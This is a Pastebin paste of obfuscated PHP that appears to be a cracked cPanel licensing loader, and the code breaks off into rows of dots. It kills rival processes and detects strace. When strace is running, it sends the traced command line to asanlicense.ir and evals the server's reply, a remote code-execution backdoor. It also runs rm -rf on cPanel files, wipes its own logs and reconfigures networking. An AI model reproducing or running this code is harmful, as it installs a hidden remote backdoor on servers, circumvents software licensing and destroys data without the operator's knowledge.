SHARE
TWEET

Untitled

a guest Oct 18th, 2018 109 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. phpshield_obfuscated_raisgkgqas2qay(0);
  4. phpshield_cyberlicsys();
  5. function phpshield_obfuscated_deb926c8ad1140a010042bbce4fcc7ad($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2)
  6. {
  7.     $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5 = '';
  8.     for ($i = 0; $i < strlen($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2); $i++) {
  9.         $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5 .= dechex(ord($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2[$i]));
  10.     }
  11.     return $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5;
  12. }
  13. if ($argv[1] == '-killall') {
  14.     phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1(0);
  15.     die();
  16. }
  17. function phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1($phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de)
  18. {
  19.     if (file_exists('/bin/ps')) {
  20.         $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep Licensing |awk '{ print $2}'");
  21.     } else {
  22.         $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("ps aux |grep Licensing |awk '{ print $2}'");
  23.     }
  24.     $phpshield_obfuscated_c91c01676c6804fe6265518c028067eb = explode("\n", $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  25.     $phpshield_obfuscated_0390006c1140449985f7d69074b75ca6 = getmypid();
  26.     if (count($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb) > $phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de) {
  27.         if (file_exists('/usr/bin/killall')) {
  28.             phpshield_obfuscated_uarsEwg2qUpqxo('/usr/bin/killall Licensing');
  29.         } else {
  30.             phpshield_obfuscated_uarsEwg2qUpqxo('killall Licensing');
  31.         }
  32.     }
  33.     if (count($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb) > $phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de) {
  34.         phpshield_obfuscated_r1yd13aus3f1cs($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb);
  35.         foreach ($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb as $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de) {
  36.             if ($phpshield_obfuscated_1f74e647cbad2978830c37562fb271de < $phpshield_obfuscated_0390006c1140449985f7d69074b75ca6 && !empty($phpshield_obfuscated_1f74e647cbad2978830c37562fb271de)) {
  37.                 if (file_exists('/bin/kill')) {
  38.                     phpshield_obfuscated_uarsEwg2qUpqxo('/bin/kill -9 ' . $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de);
  39.                 } else {
  40.                     phpshield_obfuscated_uarsEwg2qUpqxo('kill -9 ' . $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de);
  41.                 }
  42.             }
  43.         }
  44.     }
  45. }
  46. phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1(15);
  47. if ($argv[1] == '-lite') {
  48.     if (file_exists('/bin/netstat')) {
  49.         $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/netstat -tulpn | grep --color :80");
  50.     } else {
  51.         $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("netstat -tulpn | grep --color :80");
  52.     }
  53.     preg_match_all('/LISTEN      (.*?)\//', $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1, $phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791);
  54.     foreach ($phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791[1] as $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b) {
  55.         $phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96[$phpshield_obfuscated_fce61b962e87812431631fa86300fe4b] = $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b;
  56.     }
  57.     phpshield_obfuscated_r1yd13aus3f1cs($phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96);
  58.     die("ACCEPTED $phpshield_obfuscated_af9bb45203ae14858792e592f138c3ec Days\n");
  59. }
  60. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep strace | grep -v grep | grep root |  head -n1 | awk '{ print $2}'");
  61. if (!empty($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1)) {
  62.     $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778 = @phpshield_obfuscated_baes2wg9qU1qxe(@phpshield_obfuscated_r8bs14gu17f93y('/proc/' . trim($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1) . '/cmdline'));
  63.     $phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2 = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=strace&data=' . $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778);
  64.     @eval($phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2);
  65.     phpshield_obfuscated_r1yd13aus3f1cs('Error in compiler id : ' . $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  66.     die();
  67. }
  68. if (file_exists('/usr/local/cgls/disableupdate')) {
  69.     $phpshield_obfuscated_7edae6f65140ce61225216f021467d0a = phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/disableupdate');
  70.     if ($phpshield_obfuscated_7edae6f65140ce61225216f021467d0a == 'auto') {
  71.         phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/disableupdate');
  72.     }
  73. }
  74. if (file_exists('/var/cpanel/dnsonly')) {
  75.     phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /var/cpanel/dnsonly');
  76. }
  77. if (file_exists('/usr/local/cgls/disablezorro')) {
  78.     phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cgls/disablezorro >/dev/null 2>&1');
  79. }
  80. if (file_exists('/usr/bin/chattr2')) {
  81.     $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr2';
  82. } else {
  83.     $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr';
  84. }
  85. if (!is_dir('/usr/local/cgls/log/')) {
  86.     mkdir('/usr/local/cgls/log/');
  87. }
  88. function phpshield_obfuscated_17da03b6712a9860f1d9fa86db1bbe90()
  89. {
  90.     if (file_exists('/sbin/service')) {
  91.         phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service ipaliases restart 1>/usr/local/cgls/log/ipaliases1 2>/usr/local/cgls/log/ipaliases2');
  92.     } else {
  93.         phpshield_obfuscated_uarsEwg2qUpqxo('service ipaliases restart 1>/usr/local/cgls/log/ipaliases1 2>/usr/local/cgls/log/ipaliases2');
  94.     }
  95.     return true;
  96. }
  97. function phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97()
  98. {
  99.     $phpshield_obfuscated_34fd22dba1d63b6925079a5f687b60a0 = phpshield_obfuscated_sahsekg9lU1qxt('/sbin/ifconfig -a');
  100.     if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_34fd22dba1d63b6925079a5f687b60a0, 'lo:0')) {
  101.         if (file_exists('/sbin/service')) {
  102.             phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service network restart 1>/usr/local/cgls/log/network1 2>/usr/local/cgls/log/network2');
  103.         } else {
  104.             phpshield_obfuscated_uarsEwg2qUpqxo('service network restart 1>/usr/local/cgls/log/network1 2>/usr/local/cgls/log/network2' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  105.         }
  106.     }
  107.     phpshield_obfuscated_17da03b6712a9860f1d9fa86db1bbe90();
  108.     return true;
  109. }
  110. if ($argv[1] == '-disableloader') {
  111.     $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['disable'] = time();
  112.     $phpshield_obfuscated_97e214a8bdf40b1a3c4acc9acb9fe17d            = @json_decode(@private_cyberlicsys('http://asanlicense.ir/newsys/so.php', $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f), true);
  113.     foreach ($phpshield_obfuscated_97e214a8bdf40b1a3c4acc9acb9fe17d['locations'] as $phpshield_obfuscated_487621d6acd6f307eed7eb701cf4bc31) {
  114.         phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_487621d6acd6f307eed7eb701cf4bc31);
  115.     }
  116.     phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/disableloader', time());
  117.     die("LOADER Disabled .\n");
  118. }
  119. if ($argv[1] == '-enableloader') {
  120.     phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/loader');
  121.     phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/disableloader');
  122.     die("LOADER Enabled .\n");
  123. }
  124. if ($argv[1] == '-restartloader') {
  125.     phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -disableloader' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  126.     phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -enableloader' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  127.     phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/etc/loader.ver', '3');
  128.     phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -5min' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  129.     phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -5min' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  130.     die("LOADER RESTARTED .\n");
  131. }
  132. if ($argv[1] == '-ipv6') {
  133.     phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.default.disable_ipv6=1');
  134.     phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.all.disable_ipv6=1');
  135.     phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -p');
  136.     phpshield_obfuscated_uarsEwg2qUpqxo('chkconfig ip6tables off');
  137.     phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97();
  138.     die("IPv6 Disabled .\n");
  139. }
  140. if ($argv[1] == '+ipv6') {
  141.     phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.default.disable_ipv6=0');
  142.     phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.all.disable_ipv6=0');
  143.     phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -p');
  144.     phpshield_obfuscated_uarsEwg2qUpqxo('chkconfig ip6tables on');
  145.     phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97();
  146.     die("IPv6 Enabled .\n");
  147. }
  148. function phpshield_obfuscated_fa7a8894f07107bf5f7fa590aba98a09($phpshield_obfuscated_53f8edef15f79c06b1303bf4eb6f41c4)
  149. {
  150.     $phpshield_obfuscated_cb7b878b0f501bb413386ca0b22365cc = @phpshield_obfuscated_r8bs14gu17f93y($phpshield_obfuscated_53f8edef15f79c06b1303bf4eb6f41c4);
  151.     preg_match_all('@[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}@', $phpshield_obfuscated_cb7b878b0f501bb413386ca0b22365cc, $phpshield_obfuscated_c0f6c883b2aa842f477cfba2e68b0888);
  152.     return $phpshield_obfuscated_c0f6c883b2aa842f477cfba2e68b0888['0']['0'];
  153. }
  154. function phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)
  155. {
  156.     global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  157.     if (empty($phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)) {
  158.         $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 60;
  159.     }
  160.     if (file_exists('/usr/local/cgls/addphpshield')) {
  161.         phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/addphpshield');
  162.     }
  163.     if (file_exists('/usr/local/cgls/log/cyberrun.log')) {
  164.         phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  165.     }
  166.     if (file_exists('/usr/local/cgls/log/cyberrun2.log')) {
  167.         phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  168.     }
  169.     $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = phpshield_obfuscated_uarsEwg2qUpqxo('timeout ' . $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 . ' ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 . ' >/dev/null 1>/usr/local/cgls/log/cyberrun.log 2>/usr/local/cgls/log/cyberrun2.log');
  170.     return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  171. }
  172. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/log/open', time());
  173. ..................................................
  174. .................................
  175. ..............
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top